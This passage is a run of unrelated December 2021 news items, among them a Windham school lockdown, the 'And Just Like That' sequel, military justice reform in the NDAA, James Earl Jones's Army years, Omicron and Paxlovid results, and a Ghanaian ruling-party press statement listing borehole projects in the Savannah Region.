Nora Mocarski. A shared fiscal response means both Gilbert and Winchester will come to an agreement, Brady-Shanley said. Its a new level of accountability for both boards. We will have to come together and share (the costs). Shugrue and Brady-Shanley hope to have the contract in place by February. Both boards are expected to meet again together in January. WINDHAM All public schools in Windham were placed into a soft lockdown Wednesday at the recommendation of police agencies after a threat about a weapon that turned out to be non-credible, according to the school district and authorities. In a brief statement around 11 a.m., Windham Public Schools said the school had been put into secure school mode out of an abundance of caution ... based on local and state police recommendation. The schools were then placed in a soft lockdown before being dismissed at the normal schedule. All students and staff were reported safe, according to Janet Testa, the executive assistant to the school districts superintendent and Board of Education. Connecticut State Police Trooper First Class Pedro A. Muniz said a threat was made via social media directed at the schools on Wednesday morning. The non-credible, anonymous threat was made regarding a weapon being brought to a school, Muniz said. The threat did not specifically name any of the eight schools located in Windham. All eight schools were put into school secure mode as a precaution, meaning students were allowed to move around within the building, but there was no movement in and out of the building, according to Superintendent Tracy Youngberg School officials did consider dismissing the students early, but police did not recommend it. Instead, police were watching over the eight campuses. Around noon, police directed the schools to go into a soft lockdown, meaning students could not change classes. Any student who needed to move within the building required an escort, Youngberg told parents in a text later in the day. The district made the decision to limit the amount of detail shared with families during the crisis based on police recommendations, Youngberg said. Our goal was to keep our school campuses as safe as possible by limiting movement in and out of the buildings. Two troopers remained at the scene of each of the four schools that fall under state police jurisdiction, Muniz said, adding that the remaining four have Willimantic police officers stationed there. State police determined the threat was not credible and school officials lifted the soft lockdown around 1:30 p.m., Youngberg said. The eight schools were then dismissed at their normal scheduled times, officials said. Youngberg thanked the students, staff and families for their cooperation during todays crisis. I know as a parent and as an educator just how scary it can be to hear that your children may be in danger at school, Youngberg said, and also thanked state police and the Willimantic Police Department. Parents, please do your best to process this situation through with your children tonight and reach out to our school staff if you need support, she added. Muniz said there was no further information available as of Wednesday afternoon. HARTFORD, Conn. (AP) The future of a statue of Capt. John Mason, who led a 1637 massacre of the Pequot Tribe, was left unresolved after a state commission on Tuesday failed to reach agreement on whether it should remain in place on the Connecticut Capitol facade. Six of the 12 members of the Connecticut State Capitol Preservation and Restoration Commission voted to recommend to state lawmakers that the statue remain in place and that a task force be formed to develop contextual interpretations of all Capitol statues for the public. LOS ANGELES (AP) Michael Patrick King wants the record to show that Sex and the City had a slow burn of a love affair" with viewers on its way to becoming, eventually, an adored success. The executive producer's motive: that his HBO Max sequel, And Just Like That..., get a chance to prove itself. After its two-episode debut last week, the remaining eight are arriving on consecutive Thursdays. You've seen a couple of episodes of our show; you've seen six seasons of the original 1998-2004 comedy about 30-something friends in New York City, said King, who was a writer, director and executive producer on Sex and the City. I feel confident in coming back with these actresses Sarah Jessica Parker, Kristin Davis and Cynthia Nixon because I knew they could play whatever it was we and the writers came up with," he said. A bold story line intended to grab audience attention also gave King confidence that the sequel was a good idea. Spoiler alert: That daring encompasses a major plot twist in episode one and its fallout, addressed below. King, interviewed the day after the show debuted, could be forgiven a certain defensiveness. Critics, and some viewers, took issue with its dark tone as it revisited its characters in their 50s, in contrast to its frisky predecessor. Viewers got much to lament and chew on in the debut episodes. Samantha, played by Kim Cattrall in Sex and the City, is in the sequel in name only. Willie Garson, part of both series (and the films) as Stanford, was lost to pancreatic cancer after taping part of the sequel. And in this version, diversity gets a place at the table. Here's what King and the cast had to say about their resurrected adventure. Yes, characters still revel in giddy fashionista indulgence, but there's also a new, sometimes excruciatingly awkward, wokeness. A BIG GOODBYE The first episode ended with John aka Mr. Big (Chris Noth) suffering a heart attack after an intense Peloton workout and dying in wife Carries (Parker) arms. Her failure to call 911 galled many, while jokesters dubbed the scene the worst product placement ever. Peloton, which avowed ignorance of how its machine was to be used and defended its health benefits, rushed out a clever commercial with Noth and Peloton instructor Jess King (also seen in the episode) sitting fireside post-workout and deciding on another spin. Did Big cigars and known heart condition aside really have to meet a premature end? Yes, I had to kill Big, King said, bluntly. "The reason I came back was to kill Big, because I wanted Carrie and the audience to feel, Is it better to have loved and lost than to never have loved at all? He vowed that he'd never leave Carrie in "a dark forest without a flashlight and a lantern on the way out. I would never do that to the audience. Darren Star, who created Sex and the City, said the twist opened up a new chapter and also weighed in on the commercial spoof: "I loved it. I have a Peloton and I dont believe the bike killed Mr. Big. WHERE IN THE WORLD IS SAMANTHA? In London, and giving her once-close pals the silent treatment after Carrie dropped Samantha as her publicist a tiff that seems to echo Cattrall's 2018 social media post in which she criticized Parker and said, You are not my friend. When the series minus Cattrall was announced last January, Parker brushed aside a fan's post suggesting a feud. No. I dont dislike her, Parker replied. Ive never said that. Never would. Samantha isnt part of this story. But she will always be part of us." Davis, an executive producer on the series along with Parker and Nixon, said they found the scripted explanation for Samantha's absence very realistic," adding, "You don't stay friends forever with everyone in your life. ... Things change. King said Cattrall decided that she didnt want to play Samantha anymore. She was finished with it. But the characters are real to him, he said, "so we created something in the writing room that happens to a lot of friendships, where you just fall apart. WELCOME TO THE CLUB New York is a melting pot of ethnic diversity, but Sex and the City was strictly white. That's changed in And Just Like That..., which adds characters of color played by Sarita Choudhury, Nicole Ari Parker, Karen Pittman and Sara Ramirez. Nicole Ari Parker ("Empire," Boogie Nights) enjoyed watching the original series for the female bonding but thought it would benefit from being more inclusive. I'm glad that, as grown-ups in this iteration of the show, that they know it's important, she said. But at the same time, they're not trying to be like, OK, we did it. Its perfect.' No, it's a bumpy ride. ... And yet something beautiful can come out of it. Corporate lawyer Miranda (Nixon), who's decided to switch course and earn a master's degree in human rights, makes gaffe after gaffe with her Black professor played by Pittman ("The Morning Show"). Its funny. Its humorous, we kind of take the air out of the race and the race politic conversation in order to just send it up," Pittman said. But what "ends up happening is that two people become friends and dont see enough of that. There's more gender inclusiveness as well: Ramirez's character is a podcaster and comedian who's nonbinary and bisexual. Ramirez ("Grey's Anatomy") said it's exciting "to be invited in now and show that there has always been space for a character to challenge our own internalized impressions, to disrupt the constructs that so many of us have been living under ... constructs like sex and gender roles. FAREWELL, STANFORD BLATCH Garsons death in September hit his castmates hard. That I almost cant talk about, except to say you get through it because you must. But its enormously painful, Sarah Jessica Parker said, calling him my close friend for over three decades. Mario Cantone, who plays Stanfords husband Anthony, thought about him every day on the set. We just kind of all huddled together and did this and moved forward with Willie in our hearts, Cantone said. This is very bittersweet. It really is because he should be here. But he was glorious and hilarious, and you would have never known he was ill. Nixon recalled Garson as a warm and funny person and a bright light on the show, while Davis said she hopes that fans laugh and enjoy him in these first three episodes, thats what he lived for. ___ Associated Press Writers John Carucci and Alicia Rancilio contributed to this report from New York. STERLING HEIGHTS, Mich. (AP) A suburban Detroit school bus driver was arrested for suspected drunk driving after her bus carrying dozens of students crashed in Sterling Heights, authorities said. The driver for Utica Community Schools was arrested after Tuesday afternoon's crash, which did not injure any of the 30 to 40 Henry Ford II High School students aboard, police said. Sterling Heights officers who arrived at the scene after 4 p.m. determined the crash only involved the school bus, which had gone off a roadway and struck a street scene, causing minor damage, Lt. Mario Bastianelli said in a news release. After officers detected a strong smell of intoxicants on the drivers breath, a preliminary breath test indicated the womans blood-alcohol limit was 0.10, or above Michigans legal limit of 0.80 for driving, Bastianelli said. Police said the driver was immediately arrested and taken to the Sterling Heights Police Department for processing. The bus driver's name has not been released and she has not been arraigned. Utica Community Schools sent another bus to the crash scene to take home the students home who had been on the damaged bus. The district said in a statement that the driver is no longer operating a bus in Utica Community Schools" and added that there would be a thorough investigation" of the incident. Congress has approved a sweeping defense policy bill that would change the way the military prosecutes sexual assault, but the debate over military justice reform appears far from over. The Senate on Wednesday passed the fiscal 2022 National Defense Authorization Act, or NDAA, in a bipartisan 88-11 vote. The Senate vote followed the House's approval of the bill last week. The bill now heads to the desk of President Joe Biden, who is expected to sign it. Read Next: The Navy Is Getting Ready to Boot Vaccine Refusers, But Is Offering an Olive Branch The NDAA approved by Congress creates prosecutor positions the bill is calling "special trial counsel" to handle cases of sexual assault and related crimes, as well as murder, manslaughter and kidnapping -- taking those cases away from military commanders for the first time. The bill also would make sexual harassment its own offense under the Uniform Code of Military Justice. While still a significant change after years of sputtering Pentagon efforts to eradicate sexual assault from the ranks, the reform does not go as far as a group of lawmakers led by Sen. Kirsten Gillibrand, D-N.Y., wanted. Gillibrand has pushed to have independent prosecutors handle almost all major crimes. Her proposal, which she first introduced nearly a decade ago, was included in the version of the NDAA passed by the Senate Armed Services Committee in July. But it was removed from the final version of the bill negotiated behind closed doors by the chairmen and ranking members of the House and Senate armed services committees. The outcome was the preferred result of the Pentagon, which for the first time this year supported removing sex crimes from the chain of command but continued opposing Gillibrand's broader reform efforts. "This bill does not reform the military justice system in a way that will truly help survivors get justice," Gillibrand said at a news conference after the compromise NDAA was released. "It does not remove serious crimes out of the chain of command, which is the only way to create the professional unbiased system that we've been advocating." Sen. Joni Ernst, R-Iowa, a former opponent of Gillibrand's proposal whose support for it this year was seen as a turning point that could get it across the finish line, said at the same press conference that while the NDAA has "a number of momentous steps forward," there is still "a long ways to go." In addition to covering fewer crimes than she proposed, Gillibrand argues the NDAA would still leave commanders in a position of power over prosecutions since the special trial counsel will not formally be the court-martial convening authority. The special trial counsel will be able to issue recommendations supposed to be binding on commanders on whether to go to court-martial. But, Gillibrand says, commanders still will select the jury, choose witnesses, grant or deny witness immunity requests, order depositions, approve hiring expert witnesses, and can allow an accused service member to separate from service rather than face court-martial. House Armed Services Committee Chairman Adam Smith, D-Wash., has accused Gillibrand of "mischaracterizing" what the NDAA does. "Her recent claims in the press that the language in the NDAA does nothing to take the commander's authority away -- specifically by arguing that the 'convening authority' allows commanders to pick judges and specific jurors and to decide what evidence can be introduced at trial -- simply mischaracterizes what are, in fact, bold reforms that deliver independence and justice for survivors of sexual assault in the military," Smith said in a lenghty statement Friday. The NDAA, he added, "will deliver justice for survivors by bringing accountability, independence, and transparency to the prosecution of sexual assault and other sex crimes in the military -- anyone who pretends otherwise is doing survivors a great disservice." Eric Carpenter, a former military lawyer who is now an assistant law professor at Florida International University, told Military.com the NDAA will indeed leave commanders with the ability to select jurors, or what the military justice system calls panel members. Defense attorneys can still litigate over who actually sits on the jury, as well as over witnesses, experts and depositions ordered up by the commander. While Carpenter acknowledged commanders choosing jurors could cause perception issues about impartiality, he questioned whether it has any practical effect on prosecuting sexual assault cases. "In my experience, when commanders are selecting panels, they're doing it above board. They're just trying to find people that they think have good judicial temperament," Carpenter said in a phone interview. "It looks really, really bad until you're inside the system and see that it's actually not a bad way to select panels." Having someone other than a commander make a decision to prosecute a crime, as the NDAA does, is "historic" and "the biggest change of military justice since the system's been created," Carpenter added. Advocates for military sexual assault survivors have also hailed the NDAA as a dramatic improvement even as they acknowledge it falls short of what they initially fought for. "Military sexual assault survivors took on the world's largest employer with the world's largest budget and won a major victory," retired Air Force Col. Don Christensen, president of Protect Our Defenders, an advocacy group that has long backed Gillibrand's bill, said in a statement. "The provisions included in this year's NDAA are the most transformative military justice reforms in our nation's history. This is what happens when we champion survivors and ensure their voices are heard." Still, Christensen stressed that "our work is far from done," calling out the fact that commanders will retain convening authority. "Such influence erodes the independence of the [special trial counsel] and fails to address the concerns of the survivor community that conflicted commanders still have too much influence over the military justice process," he said. While this year's NDAA is now settled, Gillibrand is vowing not to let up her fight for her proposal. She previously introduced it as a stand-alone bill that has the support of more than 60 senators and 200 House members. Before Congress got to work on this year's NDAA, Gillibrand took to the Senate floor every day for months trying to force a vote on her bill, but was blocked each time by either Senate Armed Services Committee Chairman Jack Reed, D-R.I., or committee ranking member Sen. Jim Inhofe, R-Okla. Since the compromise NDAA was released, she has gone back to the floor at least twice to call for a vote on her bill. Earlier this year, both House Speaker Nancy Pelosi, D-Calif., and Senate Majority Leader Charles Schumer, D-N.Y. -- the gatekeepers of what bills get voted on in each chamber -- voiced support for holding a vote on her bill, and Gillibrand is pushing them to keep their word. She compared the situation to the repeal of "Don't Ask, Don't Tell." The law banning gay, lesbian and bisexual troops from serving openly was repealed in a stand-alone bill after efforts to repeal it through the NDAA failed. "There is a path forward, and we will keep taking it," Gillibrand said. Editor's note: This story was updated after a senator changed their vote after it closed, making the final tally 88-11. -- Rebecca Kheel can be reached at rebecca.kheel@military.com. Follow her on Twitter @reporterkheel. Related: Narrower Military Justice Reform Among Changes that Survive Defense Bill Compromise The world of medicine lost a potential great in the summer of 1953, but the U.S. Army and the world of film and television benefited from its loss. That was the year James Earl Jones graduated from the University of Michigan and was commissioned a second lieutenant instead of going to medical school. Jones would have entered the Army that summer, regardless of his future plans. He attended Michigan as a pre-med student, funded by the university's Reserve Officer Training Corps. While in college, he became disillusioned with the idea of becoming a doctor but found that he thrived in the military culture. Jones was an exceptional cadet, a member of the Pershing Rifles Drill Team and the National Society of Scabbard and Blade. The same performance ability that let him excel with the Pershing Rifles led him to the Michigan's School of Music, Theatre & Dance. He knew he wanted to be an actor, but he once referred to his fellow cadets as "the only semblance of a social life." He initially left the university without completing his degree. With the Korean War raging at the time, he thought he would be sent overseas. But it ended in an armistice later that year, and although he returned to graduate in 1955, Jones' life took a different course. After graduating from college, he was sent to Fort Benning, Georgia, for the Officers Basic Course and to attend Ranger School. Jones was assigned to the 38th Regimental Combat Team, where he led the setup of a cold weather training command at Camp Hale near Leadville, Colorado. "Our regiment was established as a training unit, to train in the bitter cold weather and the rugged terrain of the Rocky Mountains," Jones told the Army in an interview. "I took to the physical challenge, so much so that I wanted to stay there, testing myself in that awesome environment, mastering the skills of survival. I loved the austere beauty of the mountains and the exhilaration of the weather and the altitude. I didn't mind the rigors of the work or the pioneer-like existence. I thought it was a good life." Jones was a good officer and soon was promoted to first lieutenant. When the time came to decide whether the Army should be his career, his commanding officer asked him a poignant question: "Is there anything you feel like doing on the outside?" His father, Robert Earl Jones, had been an actor performing in plays on stage while James was a young man. Jones told his commanding officer he had always thought about following his father's path. His commander told him he could always come back to the Army, but he should pursue his dreams. After his discharge, Jones packed up and moved to New York City, where he studied acting at the American Theatre Wing using his GI Bill benefits while working as a janitor to support himself. His first acting jobs came in Michigan at the Ramsdell Theatre in Manistee, where he had once worked as a carpenter and stagehand. Just two years later, he was a lead actor. By 1957, he was on Broadway. In 1964, he made his film debut as Lt. Lothar Zogg, a B-52 Stratofortress bombardier in Stanley Kubrick's "Dr. Strangelove or: How I Learned to Stop Worrying and Love the Bomb." James Earl Jones' first leading role was in the 1970 film "The Great White Hope," a part he'd previously played on stage. His performance led to his first Academy Award nomination for Best Actor, making him the second Black man to receive the nod. After a career spanning more than 60 years, Jones has been called "one of the greatest actors in American history" and "the best known voice in show business." He received the National Medal of the Arts from President George H. W. Bush, Kennedy Center Honors from President George W. Bush and the Screen Actors Guild Life Achievement Award. He also has achieved the "EGOT" -- winning at least one Emmy, Grammy, Oscar and Tony award. But after a lifetime of success, he still remembers his time in the Pershing Rifles as some of the best years of his life. -- Blake Stilwell can be reached at blake.stilwell@military.com. He can also be found on Twitter @blakestilwell or on Facebook. Want to Know More About Veteran Jobs? Be sure to get the latest news about post-military careers, as well as critical info about veteran jobs and all the benefits of service. Subscribe to Military.com and receive customized updates delivered straight to your inbox. The Artisans Association of Ghana (AAG) has held its maiden Artisans Excellence Awards in Ghana, making it the first ever in the history of the country. The Association, deemed it a necessity to on its own, motivate and acknowledge the hard work and immersed contribution of its members to the economic growth of the country. The programme was held with the aim of encouraging TVET and skilled workers to know their importance in national development. The AAG, which was established almost a decade ago has about 27,000 membership across the regions of the country. The association was founded by Mr. Gideon Yaw Bidor, who also is the President. The association is aimed at registering, training, directing, shaping and also aiding young artisans to legally register their large and small companies to enable them secure both private and government contracts. According to the leadership of the AAG, despite the immersed contributions of skilled workers in the economic growth of the country, they are not recognized by Government in the sharing of the national cake and they see this treatment as very unfair on the part of our leadership. They stressed that local and governments contracts are awarded to foreigners who do not contribute to the growth of this country, instead of our local and very skilled companies. It is in this regard that the management of the AAG, deemed it fit to motivate and encourage their own members by awarding some of them who have shown themselves approved to also motivate more others to continue their good workers as artisans. The programme, which was held at the Henry Dei Recreational Center in Osu, Accra, drew hundreds of executives and members across the country to participate, while others also came to receive their awards with joy. Almost 40 young artisans, both males and females, including some companies who also supply them with materials were all awarded at the programme. Speaking to the media at the programme, the President of the association, Mr. Gideon Yaw Bidor applauded his people. I believe it is a good time for us to give ourselves a round of applause for our presence and sterling contribution to the work of artisans in the country. Artisanship or craftsmanship is one of the means of livelihood of people residing both in rural and urban areas. He however lamented, Nonetheless, this group of talented people are rather the least recognized in the country, especially in the area of the sharing of national cake, despite our tremendous contribution to the reduction of the unemployment debacle. Mr. Gideon Yaw Bidor expressed joy that they are at least now seeing increasing numbers in the past few years as people have now become open to the reality that artisanship is not the reserve of the uneducated or under-educated. He boasted that even people who graduate with Masters and Doctorates are now venturing into artisanship as a more sustainable source of livelihood and also because they find fulfilment in the profession. He declared with boldness that, it is without doubt that life will come to a halt without the services of these wonderful artisans. He therefore called on Government and all concerned agencies to acknowledge and recognize the importance of their own local artisans and develop some belief in their capabilities for quality delivery. 14.12.2021 LISTEN Following a successful 11th edition of #LagosFW 2021 shows and presentations, Moda Operandi launched a curated trunk show in collaboration with Lagos Fashion Week which has been running since 18th November. The ongoing trunk show takes advantage of a model that best combines the physical experiences from the runway shows in Lagos and the emotions it evokes with opportunities for a global audience to shop some of the designers collections digitally post show. On the heels of the Spring / Summer 22 shows and presentations, the #LagosFW x Moda Operandi Trunk Show highlights six labelseach honoring their African heritage by putting their own uniquely modern, ultra-covetable spin on traditional craftsmanship and local resources. GET TO KNOW THE DESIGNERS Abiola Olusola Amidst the saturated color palettes and patterned textiles of her peers, the Nigerian talent, Abiola Olusola stands out for her distinctly simplistic and quite yet sensual designs. A marriage of palate-cleansing femininity with sleek, architectural shapes and tailoring, each piece is hand-crafted by local artisans- and a lesson in reimagining traditional craft for the modern day. Andrea Iyamah With a flair for acutely flattering fits and hyper-elevated details- from ruching and knotting to origami-esque ruffles and chiffon-like trims, Dumebi Iyamah has solidified her brand as the go-to destination for a glamorous getaway wardrobe. The best part? Her swimwear is so elegant it often doubles as going-out tops. Banke Kuku Inspired by her upbringing- Banke Kuku was born in Lagos and moved to UK when she was eight. The Central Saint Martins graduate blends elements of West Africa and Western Culture into luxe loungewear - inspired silhouettes and sets boasting vivid digital prints that tell profound stories about her home country. Lisa Folawiyo The eponymous designer, Lisa Folawiyo is a verifiable tastemaker in her own right- her on-trend collections are both a staple and a consistent high point of Lagos Fashion Week. Her signature? Turning out bold and irresistibly luxe spins on Ankara- a local West African cloth- often showcasing hypnotic hues, a melange of prints, and hand embellishments. Onalaja Born in Nigeria and educated in London, Kanyinsola Onalaja employs local artisans trained in traditional hand craftsmanship to create high-octane, richly textured works of intricate embellishment and embroidery. The hand-painted mesh print and hand bearing in her designs captures an elevated, cosmopolitan spirit which no doubt is influenced by her upbringing. Studio 189 Founders Rosario Dawson and Abrima Erwiah are steadfastly committed to creating a work for artisans and marginalized communities, sustainability, and celebrating heritage from Africa and its diaspora. Made from natural plant dyes, Ghanaian kente cloth, innovative eco-conscious materials, and using traditional craftsmanship, the results empower with joyful print and color clashes. Lagos Fashion Week x Moda Operandi Trunkshow this season will run tii 20th December, 2021. Access the Trunshow Here France said on Tuesday it could tighten border controls to protect against the Omicron Covid variant, which is infecting a huge number of people in Britain. France currently requires a negative Covid test result less than 48 hours old for arrivals from outside the European Union even if they are vaccinated. But government spokesman Gabriel Attal said officials were "always looking at how we can strengthen our rules at the border". A decision on stricter rules is likely in the next few days, he said. Britain is being swept by a wave of Omicron infections that the government is trying to stem with a push for vaccine booster shots. At least one person has died in Britain after contracting the virus mutation and UK health officials say the variant is causing around 200,000 infections each day. Prime Minister Boris Johnson faces a rebellion by his own MPs on Tuesday as parliament votes on new coronavirus restrictions to combat the spread of Omicron. Johnson says tougher measures are urgently needed to prevent a "tidal wave" of infections overwhelming hospitals. Pfizer said Tuesday that clinical trials confirmed its Covid pill, a new type of antiviral treatment that should withstand the mutations seen with Omicron, drastically reduced hospitalizations and deaths among at-risk people by almost 90 percent. The announcement came as a real-world study from South Africa showed two doses of the Pfizer-BioNTech vaccine was 70 percent effective in stopping severe illness from the new variant, a result called encouraging by researchers, though it represents a drop compared to earlier strains. Data for the new pill, which hasn't yet been authorized anywhere in the world, came from more than 2,200 volunteers, and backed up findings announced last month in an interim analysis. The American drugmaker said its treatment, called Paxlovid, withstood the Omicron variant in lab-testing. "This news provides further corroboration that our oral antiviral candidate, if authorized or approved, could have a meaningful impact on the lives of many," Pfizer CEO Albert Bourla said in a statement, saying the new drug could "save lives." The trial showed that the pill reduced the need for hospitalization in high-risk adults with Covid-19 by 89 percent if the treatment was given within three days of symptom onset and by 88 percent if given within 5 days, according to the company. Overall, there were 12 deaths in the placebo group who did not receive the drug and none in the drug group. Side-effects were found at comparable rates between the treatment and placebo groups (23 percent and 24 percent, respectively), and were mostly mild. There were also encouraging results from a trial among people at standard risk of developing severe Covid, the company reported, but that study is ongoing. New type of drug Paxlovid is a combination of two drugs -- nirmatrelvir, a new experimental medicine, and ritonavir, an existing antiviral used against HIV. In total, 30 pills are taken over a period of five days. Nirmatrelvir is known as a "protease inhibitor" and works by blocking the action of an enzyme the coronavirus needs to replicate. Ritonavir is administered to slow down the breakdown of nirmatrelvir inside the body, increasing its efficacy. Because Paxlovid does not target the fast-mutating spike proteins that stud the surface of the coronavirus, scientists have hypothesized it should be more variant-proof than other treatments, such as synthetic antibodies infusions and antibodies triggered by most types of Covid vaccine. Another Covid pill, Merck's molnupiravir, has already been authorized in Britain and is pending authorization in the United States. But final study results showed molnupiravir only reduced hospitalizations and deaths by a relatively disappointing 30 percent, and there are concerns over its safety. The company has recommended against molnupiravir's use in pregnant women after animal studies raised concerns for fetuses. Pfizer said it had shared its pill data with the US Food and Drug Administration as part of its submission for an emergency use authorization. Real-world vaccine data The news comes as the heavily-mutated Omicron variant continues spreading fast around the world, raising alarms about surges in severe cases and deaths. Even if early data suggesting that the variant is milder in most people is confirmed, its increased transmissibility and ability to overcome prior immunity may negate this advantage, by virtue of infecting higher numbers of people. Many high-income countries have stepped up their campaigns to get people booster shots in order to restore vaccine efficacy. The latest research out of South Africa found that two doses of the Pfizer/BioNTech vaccine still offered high protection against serious illness. "The double dose of Pfizer/BioNTech vaccine (shows) 70 percent effectiveness in reducing risk of hospitalization," said Ryan Noach, the head of South Africa's leading private health insurance company Discovery, which co-led the study. Two doses of the vaccine offered 93 percent protection against earlier variants, according to the companies. The study was based on the results of 78,000 PCR tests taken in South Africa between November 15 and December 7 and was conducted by Discovery along with the South African Medical Research Council (SAMRC). It also found two doses were 33 percent effective against infection -- a result that lines up with early data from the UK Health Security Agency, which experts say underscores the case for a third dose. 15.12.2021 LISTEN The ruling New Patriotic Party (NPP) in the Savannah Region has responded to the Member of Parliament for Sawla-Tuna-Kalba constituency and the Minority in Parliament claims that the NPP Government had not put up a single borehole in any of the Districts or Constituencies in the Savannah since assuming office. In a press conference addressed by the Regional Communications Director for the party Mr. Mohammed Issah, he stated that the ruling Government has been phenomenal as compared to what the erstwhile NDC Government did on provision of water to the people. "For the avoidance of doubt, it is not true, that the NPP government has not done a single borehole or water project in the Savannah Region," he stressed. He continued, "infact the ruling Government has been phenomenal as compared to what the erstwhile NDC Government did on the provision of water to the people". He cited the construction of seven mechanized and hand pump boreholes in the MP's Constituency as some of the numerous water projects undertaken by the NPP government in the Savannah Region. He threw a challenge to Hon. Andrews Chiwetey and the Minority MPs in Parliament to come and deny the existence of the projects or simply apologize to the people of Ghana to keep their honorable titles. Find below the full press statement: press Conference 14.12.2021 SAVANNAH REGIONAL NEW PATRIOTIC PARTY REACTS TO THE CLAIMS OF HON. ANDREWS CHIWETEY AND THE MINORITY IN PARLIAMENT ON NO SINGLE BOREHOLE IN SAVANNAH REGION Ladies and gentlemen of the media, we warmly welcome you to this urgent but necessary press conference this morning. This interaction is done to as usual notify the media as the fourth estate of the realm and the people of Ghana about the palpable falsehood of the NDC and its surrogates in Parliament. It is also meant to remind the people of Ghana about the incurable taste of the NDC for distortions and fabrications all for petty partisan propaganda. The Hon. Member of Parliament for the Sawla-Tuna-Kalba was the sacrificial lamp used for this falsehood this time around, obviously supported by the Minority in Parliament. Hon. Andrews Chiwetey was carried away by the choreographed chorus of the NDC to attack the Vice President, Dr. Mahamudu Bawumia, anytime they get the opportunity to speak to the media. Even without recourse, they kept singing the name of Dr. Bawumia as if they were cursed to do so. It also appears on another note, that the Minority MPs in the Savannah Region have taken over from the palpably incapable arm-chair Regional Executives of the NDC in the Region. Ladies and gentlemen of the media, the case of the NDC Minority in this matter was to the effect, that the NPP government had not put up a single borehole in any of the Districts or Constituencies in the Savannah Region. This claim is a complete fallacy and I am sure you the media in the Region would testify to the numbers of boreholes and water systems you have visited and reported on with government officials. Aside the wanton disregard for reading, Hon. Chiwetey and his Minority colleagues could not simply appreciate the question they put out to the Minister themselves. Please listen to the question as captured by parliamentary records as below and let us interrogate same. The question to the Minister for Sanitation and Water Resources; How many boreholes and small water systems were constructed by the Ministry between the period 2017 and 2020, the locations of the boreholes and water systems and the cost of same. In the fruitless press interaction of the Minority however, they shamelessly insisted that government had done no borehole in the Savannah Region when their question was simply specific to what the Ministry had done. Even on the Ministry, a comprehensive answer was given but the MP and his NDC colleagues chose to do their usual partisan politics without recourse to the answer provided. The NDC in the Savannah Region and former President Mahama should be the last persons in this world to start any discussion on water. The Damango water project that happened only on the lips of the only grandson of our revered Yagbonwura who ascended to the Presidency, Mr. John Mahama, is still fresh in our minds. The NDC may wish to desist from provoking the people of Gonjaland further. For the avoidance of doubt, it is not true, that the NPP government has not done a single borehole or water project in the Savannah Region. In fact, the ruling government has been phenomenal as compared to what the erstwhile NDC government did on the provision of water to the people. May I with your indulgence take you through some of the boreholes and town water projects that the NPP government under the able leadership of H.E President Akufo-Addo and the competent Dr. Mahamudu Bawumia has done for the people of Savannah Region. After Eight (8) years of suffering and deprivation amidst complaints under former President Mahama as Vice and President, The Ministry through Community Water Sanitation Agency(CWSA) has done a facility for the good people of central Central Gonja Yapei and its environs. The people of Salaga who hitherto struggled to get water through their taps have a sigh of relief under the leadership of H.E the President and his competent Vice President. Extension of same has been done to Masaka and they shall start enjoying from the governance of their distant brothers- Akufo-Addo and Dr. Bawumia soon; a joy they desired most from their blood brother for 8 good years. The multi-million dollar Damango water Project that is expected to serve up to about 80% of the residents of the Constituency is ongoing. Compensation is settled as Biwater construction Limited is on ground works. The West Gonja Municipal under Yenewura Akufo-Addo and Dr. Bawumia has the following; Drilling and Construction of borehole at Busunu Drilling and Construction of borehole at Ndewura Jakpa SHS Drilling and Construction of borehole at Attributo Damango Drilling and Construction of borehole at Hangaline Drilling and Construction of borehole at Larbanga Drilling and Construction of borehole at Mognori Drilling and Construction of borehole at Murugu Drilling and Construction of borehole at Alhassan Kura Drilling and Construction of borehole at Canteen Drilling and Construction of borehole at frafra Drilling and Construction of borehole at Sori No.2 Drilling and Construction of borehole at Dapalakura Drilling and Construction of borehole at Broto Drilling and Construction of borehole at Agric settlement Drilling and Construction of borehole at Janfaru Drilling and Construction of borehole at nabori Drilling and Construction of borehole at Kananto Drilling and Construction of borehole at Abinga kura Aside these, the MP for Damango and Minister for Lands and Natural Resources, Lawyer Samuel Abu Jinapor has done more than 20 boreholes in partnership with others across the Municipal-see attached list. The North Gonja District had the following water systems and boreholes; Limited Mechanized water system in Yagbon completed (President Special Initiative) Small town water system in Lukula completed (President Special Initiative) Hand Pump boreholes in Mankarigu(NDA) Hand Pump boreholes in Daboya(NDA) Hand Pump boreholes in Tari 1(NDA) Hand Pump boreholes in Tari 2(NDA) Hand Pump boreholes in Zongo - Daboya GNPC has equally done a mechanized borehole, Small town water system, and 3 Hund Pump Boreholes in Daboya and Sawaba. The District Assembly has done 4 mechanized water systems in Daboya and Sawaba. The MP for Daboya Mankargu, Hon. Alhaji Asei Mahama and the District have also partnered other NGOs to get in about 20 drilled and mechanized boreholes. The East Gonja Municipal has the following water facilities; Kpembe Town - Mechanized borehole Kpembe NMTC Mechanized borehole Yaagbonso mechanized borehole Nfabaso mechanized borehole Ngua Mallam mechanized borehole Kapatey Mechanized borehole Lampor mechanized borehole Yalwa mechanized borehole Abrumase mechanized borehole Jemtitu mechanized borehole Kulpi mechanized borehole Both the old and new markets in Salaga Mechanized boreholes Kujo doo Hand pump borehole Mankango Gurushi line hand pump borehole Katanga hand pump boreholeT he former MP and first ever humble Regional Minister, Hon. Salifu Adam Braimah had put up water systems in about 15 different communities including Kinklin, Sisipe, Matilapo, Kayereso, Dagbamba line, Iddipe and others. GNPC projects in the Municipal abound in Silmunchu, Kakoshi, Mbawupe, T.I Ahmediyya SHS, Sakafat School etc. Ladies and gentlemen of the media, please permit me to mention a few water projects done under the nose of the Hon. MP who perpetuated this unfortunate blander. I will challenge the Hon. MP if indeed he knows his constituency well, to do us a favor by either admitting he lied to the people of Ghana or deny the existence of these systems in his Constituency. Salwa-Tuna-Kalba A hand pump borehole has been drilled for the people Jang A hand pump borehole has been constructed for the people of Kong Jetrekura has also benefited from a water hand pump Jilinkon water hand pump borehole Konkrope water hand pump borehole Kpalbe No. 2 and Haakura have all benefited from boreholes from this government The good people of Sogoryiri have a borehole constructed for them. The Hon. MP if is well informed should know by now, that there are close to 10 boreholes in Sawla and across the Constituency that are almost complete as well. In the Central Gonja District, below are the few water projects captured for the benefit of this press conference; A borehole in Kigbirpe Kokope had a borehole Another borehole in Gbrigi For Bole District; A mechanized borehole has been completed for the people of Bamboi In Mankuma, Mandari, Maluwe, Jama Community and Jama Market, Boreholes have been drilled, stands built and fenced awaiting mechanization. Banda Nkwanta Community has their borehole drilled A mechanized borehole in Gbenfu Community has been drilled, stand built, pumps fixed and awaiting a polytank. The Akufo-Addo Bawumia led government has also put up a small town water system in Kpalbe in the North East Gonja District through CWSA. There are also 2 mechanized boreholes in Bunjai Ladies and Gentlemen of the press, haven taken 